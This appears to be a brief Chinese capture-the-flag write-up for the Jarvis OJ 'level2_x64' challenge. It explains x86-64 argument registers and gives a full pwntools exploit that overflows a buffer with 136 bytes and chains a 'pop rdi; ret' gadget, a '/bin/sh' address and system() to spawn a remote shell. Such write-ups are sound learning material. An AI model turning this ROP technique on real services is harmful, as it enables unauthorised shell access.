64位程序前6个参数通过寄存器来传递,多于6个的使用堆栈传递。前6个从左到右依次为RDI,RSI,RDX,RCX,R8,R9。多于六个的从右往左依次压入堆栈
拿到题目检查保护:
放ida里,还是之前一样的程序:
程序本身有字符串/bin/sh
找下pop rdi ret 在哪:
编写exp:
from pwn import*
a=remote("pwn2.jarvisoj.com","9882")
elf=ELF("level2_x64")
system_addr=elf.symbols["system"]
a.recvuntil("\n")
pop_rdi_ret=0x00000000004006b3
bin_sh=0x0000000000600A90
payload='A'*136
payload += p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
a.sendline(payload)
a.interactive()